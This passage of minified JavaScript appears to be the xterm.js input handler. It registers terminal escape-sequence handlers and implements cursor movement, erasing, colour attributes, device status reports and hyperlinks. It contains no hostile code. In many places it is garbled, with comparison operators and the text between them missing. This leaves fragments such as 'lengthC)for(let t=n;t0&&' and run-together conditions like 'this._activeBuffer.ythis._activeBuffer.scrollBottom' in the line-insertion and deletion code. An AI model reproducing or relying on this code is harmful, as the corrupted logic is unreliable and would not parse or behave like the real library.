",{code:e})})),this._parser.setOscHandlerFallback(((e,t,i)=>{this._logService.debug("Unknown OSC code: ",{identifier:e,action:t,data:i})})),this._parser.setDcsHandlerFallback(((e,t,i)=>{"HOOK"===t&&(i=i.toArray()),this._logService.debug("Unknown DCS code: ",{identifier:this._parser.identToString(e),action:t,payload:i})})),this._parser.setPrintHandler(((e,t,i)=>this.print(e,t,i))),this._parser.registerCsiHandler({final:"@"},(e=>this.insertChars(e))),this._parser.registerCsiHandler({intermediates:" ",final:"@"},(e=>this.scrollLeft(e))),this._parser.registerCsiHandler({final:"A"},(e=>this.cursorUp(e))),this._parser.registerCsiHandler({intermediates:" ",final:"A"},(e=>this.scrollRight(e))),this._parser.registerCsiHandler({final:"B"},(e=>this.cursorDown(e))),this._parser.registerCsiHandler({final:"C"},(e=>this.cursorForward(e))),this._parser.registerCsiHandler({final:"D"},(e=>this.cursorBackward(e))),this._parser.registerCsiHandler({final:"E"},(e=>this.cursorNextLine(e))),this._parser.registerCsiHandler({final:"F"},(e=>this.cursorPrecedingLine(e))),this._parser.registerCsiHandler({final:"G"},(e=>this.cursorCharAbsolute(e))),this._parser.registerCsiHandler({final:"H"},(e=>this.cursorPosition(e))),this._parser.registerCsiHandler({final:"I"},(e=>this.cursorForwardTab(e))),this._parser.registerCsiHandler({final:"J"},(e=>this.eraseInDisplay(e,!1))),this._parser.registerCsiHandler({prefix:"?",final:"J"},(e=>this.eraseInDisplay(e,!0))),this._parser.registerCsiHandler({final:"K"},(e=>this.eraseInLine(e,!1))),this._parser.registerCsiHandler({prefix:"?",final:"K"},(e=>this.eraseInLine(e,!0))),this._parser.registerCsiHandler({final:"L"},(e=>this.insertLines(e))),this._parser.registerCsiHandler({final:"M"},(e=>this.deleteLines(e))),this._parser.registerCsiHandler({final:"P"},(e=>this.deleteChars(e))),this._parser.registerCsiHandler({final:"S"},(e=>this.scrollUp(e))),this._parser.registerCsiHandler({final:"T"},(e=>this.scrollDown(e))),this._parser.registerCsiHandler({final:"X"},(e=>this.eraseChars(e))),this._parser.registerCsiHandler({final:"Z"},(e=>this.cursorBackwardTab(e))),this._parser.registerCsiHandler({final:"`"},(e=>this.charPosAbsolute(e))),this._parser.registerCsiHandler({final:"a"},(e=>this.hPositionRelative(e))),this._parser.registerCsiHandler({final:"b"},(e=>this.repeatPrecedingCharacter(e))),this._parser.registerCsiHandler({final:"c"},(e=>this.sendDeviceAttributesPrimary(e))),this._parser.registerCsiHandler({prefix:">",final:"c"},(e=>this.sendDeviceAttributesSecondary(e))),this._parser.registerCsiHandler({final:"d"},(e=>this.linePosAbsolute(e))),this._parser.registerCsiHandler({final:"e"},(e=>this.vPositionRelative(e))),this._parser.registerCsiHandler({final:"f"},(e=>this.hVPosition(e))),this._parser.registerCsiHandler({final:"g"},(e=>this.tabClear(e))),this._parser.registerCsiHandler({final:"h"},(e=>this.setMode(e))),this._parser.registerCsiHandler({prefix:"?",final:"h"},(e=>this.setModePrivate(e))),this._parser.registerCsiHandler({final:"l"},(e=>this.resetMode(e))),this._parser.registerCsiHandler({prefix:"?",final:"l"},(e=>this.resetModePrivate(e))),this._parser.registerCsiHandler({final:"m"},(e=>this.charAttributes(e))),this._parser.registerCsiHandler({final:"n"},(e=>this.deviceStatus(e))),this._parser.registerCsiHandler({prefix:"?",final:"n"},(e=>this.deviceStatusPrivate(e))),this._parser.registerCsiHandler({intermediates:"!",final:"p"},(e=>this.softReset(e))),this._parser.registerCsiHandler({intermediates:" ",final:"q"},(e=>this.setCursorStyle(e))),this._parser.registerCsiHandler({final:"r"},(e=>this.setScrollRegion(e))),this._parser.registerCsiHandler({final:"s"},(e=>this.saveCursor(e))),this._parser.registerCsiHandler({final:"t"},(e=>this.windowOptions(e))),this._parser.registerCsiHandler({final:"u"},(e=>this.restoreCursor(e))),this._parser.registerCsiHandler({intermediates:"'",final:"}"},(e=>this.insertColumns(e))),this._parser.registerCsiHandler({intermediates:"'",final:"~"},(e=>this.deleteColumns(e))),this._parser.registerCsiHandler({intermediates:'"',final:"q"},(e=>this.selectProtected(e))),this._parser.registerCsiHandler({intermediates:"$",final:"p"},(e=>this.requestMode(e,!0))),this._parser.registerCsiHandler({prefix:"?",intermediates:"$",final:"p"},(e=>this.requestMode(e,!1))),this._parser.setExecuteHandler(n.C0.BEL,(()=>this.bell())),this._parser.setExecuteHandler(n.C0.LF,(()=>this.lineFeed())),this._parser.setExecuteHandler(n.C0.VT,(()=>this.lineFeed())),this._parser.setExecuteHandler(n.C0.FF,(()=>this.lineFeed())),this._parser.setExecuteHandler(n.C0.CR,(()=>this.carriageReturn())),this._parser.setExecuteHandler(n.C0.BS,(()=>this.backspace())),this._parser.setExecuteHandler(n.C0.HT,(()=>this.tab())),this._parser.setExecuteHandler(n.C0.SO,(()=>this.shiftOut())),this._parser.setExecuteHandler(n.C0.SI,(()=>this.shiftIn())),this._parser.setExecuteHandler(n.C1.IND,(()=>this.index())),this._parser.setExecuteHandler(n.C1.NEL,(()=>this.nextLine())),this._parser.setExecuteHandler(n.C1.HTS,(()=>this.tabSet())),this._parser.registerOscHandler(0,new p.OscHandler((e=>(this.setTitle(e),this.setIconName(e),!0)))),this._parser.registerOscHandler(1,new p.OscHandler((e=>this.setIconName(e)))),this._parser.registerOscHandler(2,new p.OscHandler((e=>this.setTitle(e)))),this._parser.registerOscHandler(4,new p.OscHandler((e=>this.setOrReportIndexedColor(e)))),this._parser.registerOscHandler(8,new p.OscHandler((e=>this.setHyperlink(e)))),this._parser.registerOscHandler(10,new p.OscHandler((e=>this.setOrReportFgColor(e)))),this._parser.registerOscHandler(11,new p.OscHandler((e=>this.setOrReportBgColor(e)))),this._parser.registerOscHandler(12,new p.OscHandler((e=>this.setOrReportCursorColor(e)))),this._parser.registerOscHandler(104,new p.OscHandler((e=>this.restoreIndexedColor(e)))),this._parser.registerOscHandler(110,new p.OscHandler((e=>this.restoreFgColor(e)))),this._parser.registerOscHandler(111,new p.OscHandler((e=>this.restoreBgColor(e)))),this._parser.registerOscHandler(112,new p.OscHandler((e=>this.restoreCursorColor(e)))),this._parser.registerEscHandler({final:"7"},(()=>this.saveCursor())),this._parser.registerEscHandler({final:"8"},(()=>this.restoreCursor())),this._parser.registerEscHandler({final:"D"},(()=>this.index())),this._parser.registerEscHandler({final:"E"},(()=>this.nextLine())),this._parser.registerEscHandler({final:"H"},(()=>this.tabSet())),this._parser.registerEscHandler({final:"M"},(()=>this.reverseIndex())),this._parser.registerEscHandler({final:"="},(()=>this.keypadApplicationMode())),this._parser.registerEscHandler({final:">"},(()=>this.keypadNumericMode())),this._parser.registerEscHandler({final:"c"},(()=>this.fullReset())),this._parser.registerEscHandler({final:"n"},(()=>this.setgLevel(2))),this._parser.registerEscHandler({final:"o"},(()=>this.setgLevel(3))),this._parser.registerEscHandler({final:"|"},(()=>this.setgLevel(3))),this._parser.registerEscHandler({final:"}"},(()=>this.setgLevel(2))),this._parser.registerEscHandler({final:"~"},(()=>this.setgLevel(1))),this._parser.registerEscHandler({intermediates:"%",final:"@"},(()=>this.selectDefaultCharset())),this._parser.registerEscHandler({intermediates:"%",final:"G"},(()=>this.selectDefaultCharset()));for(const e in o.CHARSETS)this._parser.registerEscHandler({intermediates:"(",final:e},(()=>this.selectCharset("("+e))),this._parser.registerEscHandler({intermediates:")",final:e},(()=>this.selectCharset(")"+e))),this._parser.registerEscHandler({intermediates:"*",final:e},(()=>this.selectCharset("*"+e))),this._parser.registerEscHandler({intermediates:"+",final:e},(()=>this.selectCharset("+"+e))),this._parser.registerEscHandler({intermediates:"-",final:e},(()=>this.selectCharset("-"+e))),this._parser.registerEscHandler({intermediates:".",final:e},(()=>this.selectCharset("."+e))),this._parser.registerEscHandler({intermediates:"/",final:e},(()=>this.selectCharset("/"+e)));this._parser.registerEscHandler({intermediates:"#",final:"8"},(()=>this.screenAlignmentPattern())),this._parser.setErrorHandler((e=>(this._logService.error("Parsing error: ",e),e))),this._parser.registerDcsHandler({intermediates:"$",final:"q"},new g.DcsHandler(((e,t)=>this.requestStatusString(e,t))))}_preserveStack(e,t,i,s){this._parseStack.paused=!0,this._parseStack.cursorStartX=e,this._parseStack.cursorStartY=t,this._parseStack.decodedLength=i,this._parseStack.position=s}_logSlowResolvingAsync(e){this._logService.logLevel<=v.LogLevelEnum.WARN&&Promise.race([e,new Promise(((e,t)=>setTimeout((()=>t("#SLOW_TIMEOUT")),5e3)))]).catch((e=>{if("#SLOW_TIMEOUT"!==e)throw e;console.warn("async parser handler taking longer than 5000 ms")}))}_getCurrentLinkId(){return this._curAttrData.extended.urlId}parse(e,t){let i,s=this._activeBuffer.x,r=this._activeBuffer.y,n=0;const o=this._parseStack.paused;if(o){if(i=this._parser.parse(this._parseBuffer,this._parseStack.decodedLength,t))return this._logSlowResolvingAsync(i),i;s=this._parseStack.cursorStartX,r=this._parseStack.cursorStartY,this._parseStack.paused=!1,e.length>C&&(n=this._parseStack.position+C)}if(this._logService.logLevel<=v.LogLevelEnum.DEBUG&&this._logService.debug("parsing data"+("string"==typeof e?` "${e}"`:` "${Array.prototype.map.call(e,(e=>String.fromCharCode(e))).join("")}"`),"string"==typeof e?e.split("").map((e=>e.charCodeAt(0))):e),this._parseBuffer.lengthC)for(let t=n;t0&&2===u.getWidth(this._activeBuffer.x-1)&&u.setCellFromCodePoint(this._activeBuffer.x-1,0,1,d.fg,d.bg,d.extended);for(let f=t;f=a)if(h){for(;this._activeBuffer.x=this._bufferService.rows&&(this._activeBuffer.y=this._bufferService.rows-1),this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y).isWrapped=!0),u=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y)}else if(this._activeBuffer.x=a-1,2===r)continue;if(l&&(u.insertCells(this._activeBuffer.x,r,this._activeBuffer.getNullCell(d),d),2===u.getWidth(a-1)&&u.setCellFromCodePoint(a-1,_.NULL_CELL_CODE,_.NULL_CELL_WIDTH,d.fg,d.bg,d.extended)),u.setCellFromCodePoint(this._activeBuffer.x++,s,r,d.fg,d.bg,d.extended),r>0)for(;--r;)u.setCellFromCodePoint(this._activeBuffer.x++,0,0,d.fg,d.bg,d.extended)}else u.getWidth(this._activeBuffer.x-1)?u.addCodepointToCell(this._activeBuffer.x-1,s):u.addCodepointToCell(this._activeBuffer.x-2,s)}i-t>0&&(u.loadCell(this._activeBuffer.x-1,this._workCell),2===this._workCell.getWidth()||this._workCell.getCode()>65535?this._parser.precedingCodepoint=0:this._workCell.isCombined()?this._parser.precedingCodepoint=this._workCell.getChars().charCodeAt(0):this._parser.precedingCodepoint=this._workCell.content),this._activeBuffer.x0&&0===u.getWidth(this._activeBuffer.x)&&!u.hasContent(this._activeBuffer.x)&&u.setCellFromCodePoint(this._activeBuffer.x,0,1,d.fg,d.bg,d.extended),this._dirtyRowTracker.markDirty(this._activeBuffer.y)}registerCsiHandler(e,t){return"t"!==e.final||e.prefix||e.intermediates?this._parser.registerCsiHandler(e,t):this._parser.registerCsiHandler(e,(e=>!b(e.params[0],this._optionsService.rawOptions.windowOptions)||t(e)))}registerDcsHandler(e,t){return this._parser.registerDcsHandler(e,new g.DcsHandler(t))}registerEscHandler(e,t){return this._parser.registerEscHandler(e,t)}registerOscHandler(e,t){return this._parser.registerOscHandler(e,new p.OscHandler(t))}bell(){return this._onRequestBell.fire(),!0}lineFeed(){return this._dirtyRowTracker.markDirty(this._activeBuffer.y),this._optionsService.rawOptions.convertEol&&(this._activeBuffer.x=0),this._activeBuffer.y++,this._activeBuffer.y===this._activeBuffer.scrollBottom+1?(this._activeBuffer.y--,this._bufferService.scroll(this._eraseAttrData())):this._activeBuffer.y>=this._bufferService.rows?this._activeBuffer.y=this._bufferService.rows-1:this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y).isWrapped=!1,this._activeBuffer.x>=this._bufferService.cols&&this._activeBuffer.x--,this._dirtyRowTracker.markDirty(this._activeBuffer.y),this._onLineFeed.fire(),!0}carriageReturn(){return this._activeBuffer.x=0,!0}backspace(){var e;if(!this._coreService.decPrivateModes.reverseWraparound)return this._restrictCursor(),this._activeBuffer.x>0&&this._activeBuffer.x--,!0;if(this._restrictCursor(this._bufferService.cols),this._activeBuffer.x>0)this._activeBuffer.x--;else if(0===this._activeBuffer.x&&this._activeBuffer.y>this._activeBuffer.scrollTop&&this._activeBuffer.y<=this._activeBuffer.scrollBottom&&(null===(e=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y))||void 0===e?void 0:e.isWrapped)){this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y).isWrapped=!1,this._activeBuffer.y--,this._activeBuffer.x=this._bufferService.cols-1;const e=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y);e.hasWidth(this._activeBuffer.x)&&!e.hasContent(this._activeBuffer.x)&&this._activeBuffer.x--}return this._restrictCursor(),!0}tab(){if(this._activeBuffer.x>=this._bufferService.cols)return!0;const e=this._activeBuffer.x;return this._activeBuffer.x=this._activeBuffer.nextStop(),this._optionsService.rawOptions.screenReaderMode&&this._onA11yTab.fire(this._activeBuffer.x-e),!0}shiftOut(){return this._charsetService.setgLevel(1),!0}shiftIn(){return this._charsetService.setgLevel(0),!0}_restrictCursor(e=this._bufferService.cols-1){this._activeBuffer.x=Math.min(e,Math.max(0,this._activeBuffer.x)),this._activeBuffer.y=this._coreService.decPrivateModes.origin?Math.min(this._activeBuffer.scrollBottom,Math.max(this._activeBuffer.scrollTop,this._activeBuffer.y)):Math.min(this._bufferService.rows-1,Math.max(0,this._activeBuffer.y)),this._dirtyRowTracker.markDirty(this._activeBuffer.y)}_setCursor(e,t){this._dirtyRowTracker.markDirty(this._activeBuffer.y),this._coreService.decPrivateModes.origin?(this._activeBuffer.x=e,this._activeBuffer.y=this._activeBuffer.scrollTop+t):(this._activeBuffer.x=e,this._activeBuffer.y=t),this._restrictCursor(),this._dirtyRowTracker.markDirty(this._activeBuffer.y)}_moveCursor(e,t){this._restrictCursor(),this._setCursor(this._activeBuffer.x+e,this._activeBuffer.y+t)}cursorUp(e){const t=this._activeBuffer.y-this._activeBuffer.scrollTop;return t>=0?this._moveCursor(0,-Math.min(t,e.params[0]||1)):this._moveCursor(0,-(e.params[0]||1)),!0}cursorDown(e){const t=this._activeBuffer.scrollBottom-this._activeBuffer.y;return t>=0?this._moveCursor(0,Math.min(t,e.params[0]||1)):this._moveCursor(0,e.params[0]||1),!0}cursorForward(e){return this._moveCursor(e.params[0]||1,0),!0}cursorBackward(e){return this._moveCursor(-(e.params[0]||1),0),!0}cursorNextLine(e){return this.cursorDown(e),this._activeBuffer.x=0,!0}cursorPrecedingLine(e){return this.cursorUp(e),this._activeBuffer.x=0,!0}cursorCharAbsolute(e){return this._setCursor((e.params[0]||1)-1,this._activeBuffer.y),!0}cursorPosition(e){return this._setCursor(e.length>=2?(e.params[1]||1)-1:0,(e.params[0]||1)-1),!0}charPosAbsolute(e){return this._setCursor((e.params[0]||1)-1,this._activeBuffer.y),!0}hPositionRelative(e){return this._moveCursor(e.params[0]||1,0),!0}linePosAbsolute(e){return this._setCursor(this._activeBuffer.x,(e.params[0]||1)-1),!0}vPositionRelative(e){return this._moveCursor(0,e.params[0]||1),!0}hVPosition(e){return this.cursorPosition(e),!0}tabClear(e){const t=e.params[0];return 0===t?delete this._activeBuffer.tabs[this._activeBuffer.x]:3===t&&(this._activeBuffer.tabs={}),!0}cursorForwardTab(e){if(this._activeBuffer.x>=this._bufferService.cols)return!0;let t=e.params[0]||1;for(;t--;)this._activeBuffer.x=this._activeBuffer.nextStop();return!0}cursorBackwardTab(e){if(this._activeBuffer.x>=this._bufferService.cols)return!0;let t=e.params[0]||1;for(;t--;)this._activeBuffer.x=this._activeBuffer.prevStop();return!0}selectProtected(e){const t=e.params[0];return 1===t&&(this._curAttrData.bg|=536870912),2!==t&&0!==t||(this._curAttrData.bg&=-536870913),!0}_eraseInBufferLine(e,t,i,s=!1,r=!1){const n=this._activeBuffer.lines.get(this._activeBuffer.ybase+e);n.replaceCells(t,i,this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData(),r),s&&(n.isWrapped=!1)}_resetBufferLine(e,t=!1){const i=this._activeBuffer.lines.get(this._activeBuffer.ybase+e);i&&(i.fill(this._activeBuffer.getNullCell(this._eraseAttrData()),t),this._bufferService.buffer.clearMarkers(this._activeBuffer.ybase+e),i.isWrapped=!1)}eraseInDisplay(e,t=!1){let i;switch(this._restrictCursor(this._bufferService.cols),e.params[0]){case 0:for(i=this._activeBuffer.y,this._dirtyRowTracker.markDirty(i),this._eraseInBufferLine(i++,this._activeBuffer.x,this._bufferService.cols,0===this._activeBuffer.x,t);i=this._bufferService.cols&&(this._activeBuffer.lines.get(i+1).isWrapped=!1);i--;)this._resetBufferLine(i,t);this._dirtyRowTracker.markDirty(0);break;case 2:for(i=this._bufferService.rows,this._dirtyRowTracker.markDirty(i-1);i--;)this._resetBufferLine(i,t);this._dirtyRowTracker.markDirty(0);break;case 3:const e=this._activeBuffer.lines.length-this._bufferService.rows;e>0&&(this._activeBuffer.lines.trimStart(e),this._activeBuffer.ybase=Math.max(this._activeBuffer.ybase-e,0),this._activeBuffer.ydisp=Math.max(this._activeBuffer.ydisp-e,0),this._onScroll.fire(0))}return!0}eraseInLine(e,t=!1){switch(this._restrictCursor(this._bufferService.cols),e.params[0]){case 0:this._eraseInBufferLine(this._activeBuffer.y,this._activeBuffer.x,this._bufferService.cols,0===this._activeBuffer.x,t);break;case 1:this._eraseInBufferLine(this._activeBuffer.y,0,this._activeBuffer.x+1,!1,t);break;case 2:this._eraseInBufferLine(this._activeBuffer.y,0,this._bufferService.cols,!0,t)}return this._dirtyRowTracker.markDirty(this._activeBuffer.y),!0}insertLines(e){this._restrictCursor();let t=e.params[0]||1;if(this._activeBuffer.y>this._activeBuffer.scrollBottom||this._activeBuffer.ythis._activeBuffer.scrollBottom||this._activeBuffer.ythis._activeBuffer.scrollBottom||this._activeBuffer.ythis._activeBuffer.scrollBottom||this._activeBuffer.ythis._activeBuffer.scrollBottom||this._activeBuffer.ythis._activeBuffer.scrollBottom||this._activeBuffer.y0||(this._is("xterm")||this._is("rxvt-unicode")||this._is("screen")?this._coreService.triggerDataEvent(n.C0.ESC+"[?1;2c"):this._is("linux")&&this._coreService.triggerDataEvent(n.C0.ESC+"[?6c")),!0}sendDeviceAttributesSecondary(e){return e.params[0]>0||(this._is("xterm")?this._coreService.triggerDataEvent(n.C0.ESC+"[>0;276;0c"):this._is("rxvt-unicode")?this._coreService.triggerDataEvent(n.C0.ESC+"[>85;95;0c"):this._is("linux")?this._coreService.triggerDataEvent(e.params[0]+"c"):this._is("screen")&&this._coreService.triggerDataEvent(n.C0.ESC+"[>83;40003;0c")),!0}_is(e){return 0===(this._optionsService.rawOptions.termName+"").indexOf(e)}setMode(e){for(let t=0;te?1:2,u=e.params[0];return f=u,v=t?2===u?4:4===u?_(o.modes.insertMode):12===u?3:20===u?_(d.convertEol):0:1===u?_(i.applicationCursorKeys):3===u?d.windowOptions.setWinLines?80===h?2:132===h?1:0:0:6===u?_(i.origin):7===u?_(i.wraparound):8===u?3:9===u?_("X10"===s):12===u?_(d.cursorBlink):25===u?_(!o.isCursorHidden):45===u?_(i.reverseWraparound):66===u?_(i.applicationKeypad):67===u?4:1e3===u?_("VT200"===s):1002===u?_("DRAG"===s):1003===u?_("ANY"===s):1004===u?_(i.sendFocus):1005===u?4:1006===u?_("SGR"===r):1015===u?4:1016===u?_("SGR_PIXELS"===r):1048===u?1:47===u||1047===u||1049===u?_(c===l):2004===u?_(i.bracketedPasteMode):0,o.triggerDataEvent(`${n.C0.ESC}[${t?"":"?"}${f};${v}$y`),!0;var f,v}_updateAttrColor(e,t,i,s,r){return 2===t?(e|=50331648,e&=-16777216,e|=f.AttributeData.fromColorRGB([i,s,r])):5===t&&(e&=-50331904,e|=33554432|255&i),e}_extractColor(e,t,i){const s=[0,0,-1,0,0,0];let r=0,n=0;do{if(s[n+r]=e.params[t+n],e.hasSubParams(t+n)){const i=e.getSubParams(t+n);let o=0;do{5===s[1]&&(r=1),s[n+o+1+r]=i[o]}while(++o=2||2===s[1]&&n+r>=5)break;s[1]&&(r=1)}while(++n+t5)&&(e=1),t.extended.underlineStyle=e,t.fg|=268435456,0===e&&(t.fg&=-268435457),t.updateExtended()}_processSGR0(e){e.fg=l.DEFAULT_ATTR_DATA.fg,e.bg=l.DEFAULT_ATTR_DATA.bg,e.extended=e.extended.clone(),e.extended.underlineStyle=0,e.extended.underlineColor&=-67108864,e.updateExtended()}charAttributes(e){if(1===e.length&&0===e.params[0])return this._processSGR0(this._curAttrData),!0;const t=e.length;let i;const s=this._curAttrData;for(let r=0;r=30&&i<=37?(s.fg&=-50331904,s.fg|=16777216|i-30):i>=40&&i<=47?(s.bg&=-50331904,s.bg|=16777216|i-40):i>=90&&i<=97?(s.fg&=-50331904,s.fg|=16777224|i-90):i>=100&&i<=107?(s.bg&=-50331904,s.bg|=16777224|i-100):0===i?this._processSGR0(s):1===i?s.fg|=134217728:3===i?s.bg|=67108864:4===i?(s.fg|=268435456,this._processUnderline(e.hasSubParams(r)?e.getSubParams(r)[0]:1,s)):5===i?s.fg|=536870912:7===i?s.fg|=67108864:8===i?s.fg|=1073741824:9===i?s.fg|=2147483648:2===i?s.bg|=134217728:21===i?this._processUnderline(2,s):22===i?(s.fg&=-134217729,s.bg&=-134217729):23===i?s.bg&=-67108865:24===i?(s.fg&=-268435457,this._processUnderline(0,s)):25===i?s.fg&=-536870913:27===i?s.fg&=-67108865:28===i?s.fg&=-1073741825:29===i?s.fg&=2147483647:39===i?(s.fg&=-67108864,s.fg|=16777215&l.DEFAULT_ATTR_DATA.fg):49===i?(s.bg&=-67108864,s.bg|=16777215&l.DEFAULT_ATTR_DATA.bg):38===i||48===i||58===i?r+=this._extractColor(e,r,s):53===i?s.bg|=1073741824:55===i?s.bg&=-1073741825:59===i?(s.extended=s.extended.clone(),s.extended.underlineColor=-1,s.updateExtended()):100===i?(s.fg&=-67108864,s.fg|=16777215&l.DEFAULT_ATTR_DATA.fg,s.bg&=-67108864,s.bg|=16777215&l.DEFAULT_ATTR_DATA.bg):this._logService.debug("Unknown SGR attribute: %d.",i);return!0}deviceStatus(e){switch(e.params[0]){case 5:this._coreService.triggerDataEvent(`${n.C0.ESC}[0n`);break;case 6:const e=this._activeBuffer.y+1,t=this._activeBuffer.x+1;this._coreService.triggerDataEvent(`${n.C0.ESC}[${e};${t}R`)}return!0}deviceStatusPrivate(e){if(6===e.params[0]){const e=this._activeBuffer.y+1,t=this._activeBuffer.x+1;this._coreService.triggerDataEvent(`${n.C0.ESC}[?${e};${t}R`)}return!0}softReset(e){return this._coreService.isCursorHidden=!1,this._onRequestSyncScrollBar.fire(),this._activeBuffer.scrollTop=0,this._activeBuffer.scrollBottom=this._bufferService.rows-1,this._curAttrData=l.DEFAULT_ATTR_DATA.clone(),this._coreService.reset(),this._charsetService.reset(),this._activeBuffer.savedX=0,this._activeBuffer.savedY=this._activeBuffer.ybase,this._activeBuffer.savedCurAttrData.fg=this._curAttrData.fg,this._activeBuffer.savedCurAttrData.bg=this._curAttrData.bg,this._activeBuffer.savedCharset=this._charsetService.charset,this._coreService.decPrivateModes.origin=!1,!0}setCursorStyle(e){const t=e.params[0]||1;switch(t){case 1:case 2:this._optionsService.options.cursorStyle="block";break;case 3:case 4:this._optionsService.options.cursorStyle="underline";break;case 5:case 6:this._optionsService.options.cursorStyle="bar"}const i=t%2==1;return this._optionsService.options.cursorBlink=i,!0}setScrollRegion(e){const t=e.params[0]||1;let i;return(e.length<2||(i=e.params[1])>this._bufferService.rows||0===i)&&(i=this._bufferService.rows),i>t&&(this._activeBuffer.scrollTop=t-1,this._activeBuffer.scrollBottom=i-1,this._setCursor(0,0)),!0}windowOptions(e){if(!b(e.params[0],this._optionsService.rawOptions.windowOptions))return!0;const t=e.length>1?e.params[1]:0;switch(e.params[0]){case 14:2!==t&&this._onRequestWindowsOptionsReport.fire(y.GET_WIN_SIZE_PIXELS);break;case 16:this._onRequestWindowsOptionsReport.fire(y.GET_CELL_SIZE_PIXELS);break;case 18:this._bufferService&&this._coreService.triggerDataEvent(`${n.C0.ESC}[8;${this._bufferService.rows};${this._bufferService.cols}t`);break;case 22:0!==t&&2!==t||(this._windowTitleStack.push(this._windowTitle),this._windowTitleStack.length>10&&this._windowTitleStack.shift()),0!==t&&1!==t||(this._iconNameStack.push(this._iconName),this._iconNameStack.length>10&&this._iconNameStack.shift());break;case 23:0!==t&&2!==t||this._windowTitleStack.length&&this.setTitle(this._windowTitleStack.pop()),0!==t&&1!==t||this._iconNameStack.length&&this.setIconName(this._iconNameStack.pop())}return!0}saveCursor(e){return this._activeBuffer.savedX=this._activeBuffer.x,this._activeBuffer.savedY=this._activeBuffer.ybase+this._activeBuffer.y,this._activeBuffer.savedCurAttrData.fg=this._curAttrData.fg,this._activeBuffer.savedCurAttrData.bg=this._curAttrData.bg,this._activeBuffer.savedCharset=this._charsetService.charset,!0}restoreCursor(e){return this._activeBuffer.x=this._activeBuffer.savedX||0,this._activeBuffer.y=Math.max(this._activeBuffer.savedY-this._activeBuffer.ybase,0),this._curAttrData.fg=this._activeBuffer.savedCurAttrData.fg,this._curAttrData.bg=this._activeBuffer.savedCurAttrData.bg,this._charsetService.charset=this._savedCharset,this._activeBuffer.savedCharset&&(this._charsetService.charset=this._activeBuffer.savedCharset),this._restrictCursor(),!0}setTitle(e){return this._windowTitle=e,this._onTitleChange.fire(e),!0}setIconName(e){return this._iconName=e,!0}setOrReportIndexedColor(e){const t=[],i=e.split(";");for(;i.length>1;){const e=i.shift(),s=i.shift();if(/^\d+$/.exec(e)){const i=parseInt(e);if(L(i))if("?"===s)t.push({type:0,index:i});else{const e=(0,m.parseColor)(s);e&&t.push({type:1,index:i,color:e})}}}return t.length&&this._onColor.fire(t),!0}setHyperlink(e){const t=e.split(";");return!(t.length<2)&&(t[1]?this._createHyperlink(t[0],t[1]):!t[0]&&this._finishHyperlink())}_createHyperlink(e,t){this._getCurrentLinkId()&&this._finishHyperlink();const i=e.split(":");let s;const r=i.findIndex((e=>e.startsWith("id=")));return-1!==r&&(s=i[r].slice(3)||void 0),this._curAttrData.extended=this._curAttrData.extended.clone(),this._curAttrData.extended.urlId=this._oscLinkService.registerLink({id:s,uri:t}),this._curAttrData.updateExtended(),!0}_finishHyperlink(){return this._curAttrData.extended=this._curAttrData.extended.clone(),this._curAttrData.extended.urlId=0,this._curAttrData.updateExtended(),!0}_setOrReportSpecialColor(e,t){const i=e.split(";");for(let e=0;e=this._specialColors.length);++e,++t)if("?"===i[e])this._onColor.fire([{type:0,index:this._specialColors[t]}]);else{const s=(0,m.parseColor)(i[e]);s&&this._onColor.fire([{type:1,index:this._specialColors[t],color:s}])}return!0}setOrReportFgColor(e){return this._setOrReportSpecialColor(e,0)}setOrReportBgColor(e){return this._setOrReportSpecialColor(e,1)}setOrReportCursorColor(e){return this._setOrReportSpecialColor(e,2)}restoreIndexedColor(e){if(!e)return this._onColor.fire([{type:2}]),!0;const t=[],i=e.split(";");for(let e=0;e=this._bufferService.rows&&(this._activeBuffer.y=this._bufferService.rows-1),this._restrictCursor(),!0}tabSet(){return this._activeBuffer.tabs[this._activeBuffer.x]=!0,!0}reverseIndex(){if(this._restrictCursor(),this._activeBuffer.y===this._activeBuffer.scrollTop){const e=this._activeBuffer.scrollBottom-this._activeBuffer.scrollTop;this._activeBuffer.lines.shiftElements(this._activeBuffer.ybase+this._activeBuffer.y,e,1),this._activeBuffer.lines.set(this._activeBuffer.ybase+this._activeBuffer.y,this._activeBuffer.getBlankLine(this._eraseAttrData())),this._dirtyRowTracker.markRangeDirty(this._activeBuffer.scrollTop,this._activeBuffer.scrollBottom)}else this._activeBuffer.y--,this._restrictCursor();return!0}fullReset(){return this._parser.reset(),this._onRequestReset.fire(),!0}reset(){this._curAttrData=l.DEFAULT_ATTR_DATA.clone(),this._eraseAttrDataInternal=l.DEFAULT_ATTR_DATA.clone()}_eraseAttrData(){return this._eraseAttrDataInternal.bg&=-67108864,this._eraseAttrDataInternal.bg|=67108863&this._curAttrData.bg,this._eraseAttrDataInternal}setgLevel(e){return this._charsetService.setgLevel(e),!0}screenAlignmentPattern(){const e=new u.CellData;e.content=1<<22|"E".charCodeAt(0),e.fg=this._curAttrData.fg,e.bg=this._curAttrData.bg,this._setCursor(0,0);for(let t=0;t(this._coreService.triggerDataEvent(`${n.C0.ESC}${e}${n.C0.ESC}\\`),!0))('"q'===e?`P1$r${this._curAttrData.isProtected()?1:0}"q`:'"p'===e?'P1$r61;1"p':"r"===e?`P1$r${i.scrollTop+1};${i.scrollBottom+1}r`:"m"===e?"P1$r0m":" q"===e?`P1$r${{block:2,underline:4,bar:6}[s.cursorStyle]-(s.cursorBlink?1:0)} q`:"P0$r")}markRangeDirty(e,t){this._dirtyRowTracker.markRangeDirty(e,t)}}t.InputHandler=E;let k=class{constructor(e){this._bufferService=e,this.clearRange()}clearRange(){this.start=this._bufferService.buffer.y,this.end=this._bufferService.buffer.y}markDirty(e){ethis.end&&(this.end=e)}markRangeDirty(e,t){e>t&&(w=e,e=t,t=w),ethis.end&&(this.end=t)}markAllDirty(){this.markRangeDirty(0,this._bufferService.rows-1)}};function L(e){return 0<=e&&e<256}k=s([r(0,v.IBufferService)],k)},844:(e,t)=>{function i(e){for(const t of e)t.dispose();e.length=0}Object.defineProperty(t,"__esModule",{value:!0}),t.getDisposeArrayDisposable=t.disposeArray=t.toDisposable=t.MutableDisposable=t.Disposable=void 